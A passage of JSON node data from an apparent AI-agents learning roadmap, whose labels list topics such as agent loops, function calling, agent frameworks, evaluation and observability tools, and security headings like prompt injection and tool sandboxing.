\"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 223, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"7c-FMXWsMGv95vxnUydFi\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 641.80929781038, \"y\": 2341.870720452855 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Building Agents\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"SU8HwGaDiRCho5I_pBl3N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"style\": {},\n      \"measured\": { \"width\": 216, \"height\": 47 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"height\": 47\n    },\n    {\n      \"id\": \"_w42GbQza-Qu1EDLbA83S\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 739.80929781038, \"y\": 2270.410569685858 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 62,\n      \"style\": {},\n      \"measured\": { \"width\": 20, \"height\": 62 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"US6T5dXM8IY9V2qZnTOFW\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 600.30929781038, \"y\": 2453.212822960118 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Manual (from scratch)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 299, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"nHkXoJFoyDHcO3E4FhsGK\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 624.86544847935, \"y\": 2514.322480617088 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Direct LLM API calls\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 172, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Ox0SIl1qDY1MdNEa3Zcdh\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 624.86544847935, \"y\": 2544.322480617088 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Implementing the agent loop\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 237, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"mVoZRlCcJcGCVRnGHbsWD\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 624.86544847935, \"y\": 2574.322480617088 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Parsing model output\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 179, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PUGICZOvB0H0EWwwUlusF\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 624.86544847935, \"y\": 2604.322480617088 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Error & Rate-limit handling\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 220, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"aafZxtjxiwzJH1lwHBODi\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 600.30929781038, \"y\": 2695.92394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LLM Native \\\"Function Calling\\\"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"US6T5dXM8IY9V2qZnTOFW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 299, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"AQtxTTxmBpfl8BMgJbGzc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 600.30929781038, \"y\": 2777.8580866298494 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"OpenAI Functions Calling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"37GBFVZ2J2d5r8bd1ViHq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 53,\n      \"style\": {},\n      \"measured\": { \"width\": 299, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_iIsBJTVS6OBf_dsdmbVO\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 600.30929781038, \"y\": 2891.8580866298494 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Gemini Function Calling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1EZFbDHA5J5_5BPMLMxXb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 53,\n      \"style\": {},\n      \"measured\": { \"width\": 299, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"37GBFVZ2J2d5r8bd1ViHq\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 600.30929781038, \"y\": 2834.8580866298494 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"OpenAI Assistant API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1EZFbDHA5J5_5BPMLMxXb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 53,\n      \"style\": {},\n      \"measured\": { \"width\": 299, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"VVFomJWwR-bvPRsiLmbiV\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 283.97614503814657, \"y\": 2714.92394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Building Using Frameworks\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"style\": { \"width\": 225 },\n      \"measured\": { \"width\": 225, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Ka6VpCEnqABvwiF9vba7t\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 276.97614503814657, \"y\": 2763.92394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Langchain\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7YtnQ9-KIvGPSpDzEDexl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 55,\n      \"style\": {},\n      \"measured\": { \"width\": 111, \"height\": 55 },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"iEHF-Jm3ck-Iu85EbCoDi\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 393.47614503814657, \"y\": 2763.92394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LlamaIndex\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 55,\n      \"style\": {},\n      \"measured\": { \"width\": 124, \"height\": 55 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"XS-FsvtrXGZ8DPrwOsnlI\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 276.97614503814657, \"y\": 2822.92394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Haystack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eWxQiBrxIUG2JNcrdfIHS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 55,\n      \"style\": {},\n      \"measured\": { \"width\": 111, \"height\": 55 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"7YtnQ9-KIvGPSpDzEDexl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 393.47614503814657, \"y\": 2822.42394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AutoGen\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iEHF-Jm3ck-Iu85EbCoDi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 55,\n      \"style\": {},\n      \"measured\": { \"width\": 124, \"height\": 55 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"uFPJqgU4qGvZyxTv-osZA\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 276.97614503814657, \"y\": 2881.92394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CrewAI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eWxQiBrxIUG2JNcrdfIHS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 51,\n      \"style\": {},\n      \"measured\": { \"width\": 240, \"height\": 51 },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"eWxQiBrxIUG2JNcrdfIHS\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 276.97614503814657, \"y\": 2937.92394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Smol Depot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7YtnQ9-KIvGPSpDzEDexl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 55,\n      \"style\": {},\n      \"measured\": { \"width\": 240, \"height\": 55 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"1EZFbDHA5J5_5BPMLMxXb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 600.30929781038, \"y\": 2948.8580866298494 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Anthropic Tool Use\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 53,\n      \"style\": {},\n      \"measured\": { \"width\": 299, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"y3Km7Dc3FidoKtF7cnTfR\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -74.7455305579661, \"y\": 2422.870720452855 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Evaluation and Testing\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"OxRCEi7olEsHcBZ7oVfLl\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 189, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"v8qLnyFRnEumodBYxQSXQ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -121.7455305579661, \"y\": 2463.550271236641 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Metrics to Track\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rHxdxN97ZcU7MPl8L1jzN\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 283, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 283,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"qo_O4YAe4-MTP_ZJoXJHR\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -121.7455305579661, \"y\": 2516.550271236641 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Unit Testing for Individual Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rHxdxN97ZcU7MPl8L1jzN\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 283 },\n      \"measured\": { \"width\": 283, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 283,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"P9-SiIda3TSjHsfkI5OUV\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -121.7455305579661, \"y\": 2569.550271236641 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Integration Testing for Flows\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rHxdxN97ZcU7MPl8L1jzN\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 283 },\n      \"measured\": { \"width\": 283, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 283,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"rHxdxN97ZcU7MPl8L1jzN\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -121.7455305579661, \"y\": 2622.550271236641 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Human in the Loop Evaluation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 283 },\n      \"measured\": { \"width\": 283, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 283,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"xp7TCTRE9HP60_rGzTUF6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -124.32279103658766, \"y\": 2717.42394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LangSmith\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0924QUH1wV7Mp-Xu0FAhF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": { \"width\": 126 },\n      \"measured\": { \"width\": 145, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"YzEDtGEaMaMWVt0W03HRt\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -124.32279103658766, \"y\": 2770.92394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Ragas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MLxP5N0Vrmwh-kyvNeGXn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 126 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"0924QUH1wV7Mp-Xu0FAhF\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 26.306930530664715, \"y\": 2717.42394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DeepEval\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": { \"width\": 126 },\n      \"measured\": { \"width\": 134, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"OxRCEi7olEsHcBZ7oVfLl\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -36.32279103658766, \"y\": 2677.322480617088 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 110, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"zs6LM8WEnb0ERWpiaQCgc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -123.5097055754202, \"y\": 2890.5001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Structured logging & tracing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MLxP5N0Vrmwh-kyvNeGXn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 126 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"P5D6O9GmDjENsvNStJcEC\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -91.5097055754202, \"y\": 2842.434279994293 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Debugging and Monitoring\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"PsMoyCyhXdYIIgTK4mduG\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 221, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PsMoyCyhXdYIIgTK4mduG\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -60.009705575420185, \"y\": 2945.0001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Observability Tools\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 158, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"SS8mGqf9wfrNqenIWvN8Z\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -122.73444959728216, \"y\": 2988.0001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LangSmith\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7UqPXUzqKYXklnB3x-tsv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": { \"width\": 126 },\n      \"measured\": { \"width\": 138, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"MLxP5N0Vrmwh-kyvNeGXn\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 20.507919061606035, \"y\": 2988.0001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Helicone\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0924QUH1wV7Mp-Xu0FAhF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": { \"width\": 126 },\n      \"measured\": { \"width\": 141, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"UoIheaJlShiceafrWALEH\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -122.73444959728216, \"y\": 3042.0001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LangFuse\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7UqPXUzqKYXklnB3x-tsv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": { \"width\": 126 },\n      \"measured\": { \"width\": 138, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"7UqPXUzqKYXklnB3x-tsv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 20.507919061606035, \"y\": 3042.0001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"openllmetry\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MLxP5N0Vrmwh-kyvNeGXn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": { \"width\": 126 },\n      \"measured\": { \"width\": 141, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ZczxILvJ8ZVlaNd887lS5\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 169.48246683384076, \"y\": 2710.42394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2d78e1\", \"strokeWidth\": 3.75 },\n        \"oldId\": \"41n1zuSz7Ur8Zq0GcmQ9y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 96, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"8Fk3qNFO_5UNxJDGDDCc8\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 170.99167975847877, \"y\": 3046.5001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 },\n        \"oldId\": \"41n1zuSz7Ur8Zq0GcmQ9y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 122, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"AZGZKUelTu9A0VbpnsrnN\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 287.47614503814657, \"y\": 3034.5001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Security & Ethics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"7c-FMXWsMGv95vxnUydFi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"style\": {},\n      \"measured\": { \"width\": 219, \"height\": 44 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"height\": 44\n    },\n    {\n      \"id\": \"41n1zuSz7Ur8Zq0GcmQ9y\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 498.86750909294227, \"y\": 3046.5001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 252, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"SU2RuicMUo8tiAsQtDI1k\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 602.30929781038, \"y\": 3097.0001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Prompt Injection / Jailbreaks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"k8Y_veuqbR0HzVj_Ekltf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 295, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"UVzLGXG6K7HQVHmw8ZAv2\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 602.30929781038, \"y\": 3149.7501335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tool sandboxing / Permissioning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"k8Y_veuqbR0HzVj_Ekltf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 295, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"rdlYBJNNyZUshzsJawME4\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 604.30929781038, \"y\": 